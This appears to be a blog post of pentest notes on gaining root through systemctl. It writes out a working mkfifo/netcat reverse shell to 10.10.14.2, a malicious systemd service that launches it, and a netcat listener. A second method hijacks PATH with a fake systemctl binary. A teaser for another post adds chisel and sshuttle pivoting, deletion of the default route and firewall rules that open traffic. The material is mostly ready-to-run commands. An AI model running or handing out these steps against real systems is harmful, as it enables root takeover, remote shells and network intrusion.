Skip to main content

Priv Esc using SysemCTL


This can be done when you find system ctl is running as root.
so we need to create my own service. that can be done by

METHOD - I

Create a file named test.sh in Target Machine

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9002 >/tmp/f

 

save it as test.sh → copy the file to

/home/bhanu/test.sh
chmod +x test.sh

  

now create a new service: → save it as mys.service

[Unit]
Description=Example systemd service.

[Service]
Type=simple
ExecStart=/bin/bash /home/bhanu/test.sh

[Install]
WantedBy=multi-user.target
# Another set of Service -  USE ONLY ONE SERVICE 

[Unit]
Description=Example systemd service.

[Service]
Type=simple
ExecStart=/bin/bash -p -c "id > /tmp/output"

[Install]
WantedBy=multi-user.target

#if you face any issues run below 2 commands sudo setenforce 0

sudo systemctl daemon-reload #not mandatory chmod 644 /home/bhanu/mys.service

# Start the Service
systemctl enable /home/bhanu/mys.service

#Check status incase of any errors
systemctl status /home/bhanu/mys.service

 

 open a new terminal in kali:

nc -nvlp 9002

 In Victim machine

systemctl start mys.service 



METHOD - II


This can be achieved by adding a new path when systemctl is running as root. 
 

echo $PATH
systemctl                 //runs the original systemctl 
cd /tmp
nano systemctl

bash                   //Add bash in systemctl file
 PATH=/tmp:$PATH
export PATH
systemctl                    //runs bash. explained above in method I

You need to run the systemctl as root to get the root shell. 











Comments

Popular posts from this blog

Pivoting into an internal network behind firewall

    Accessing a Victim network from Windows box which is pivoted to Kali #On Kali sshuttle --listen 0.0.0.0 -r user@10.10.10.10 192.168.1.0/24 or ./chisel server --port 9001 -reverse #On Victim ./chisel.exe client 10.10.10.1:9001 R:0.0.0.0:1080:socks .\chisel.exe client 10.10.10.1:9001 R:8080:127.0.0.1:8080 R:8888:127.0.0.1:8888 R:9090:127.0.0.1:9090 #On windows route print #delete default route route delete 0.0.0.0 #add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box route add 0.0.0.0 mask 0.0.0.0 KALI_IP #Now you should be able to access all the sites which are accessible on kali from windows box. #If the above doesnt work #asuming Kali and windows are on Eht0 #add a firewall rule to allow Kali ip traffic netsh advfirewall firewall add rule name="Allow VPN Traffic" dir=in action=allow protocol=any remoteip=KALI_ETH0_IP #on Kali - Allow tun0 traffic to forward on iptables sudo iptables -P FORWARD ACCEPT ...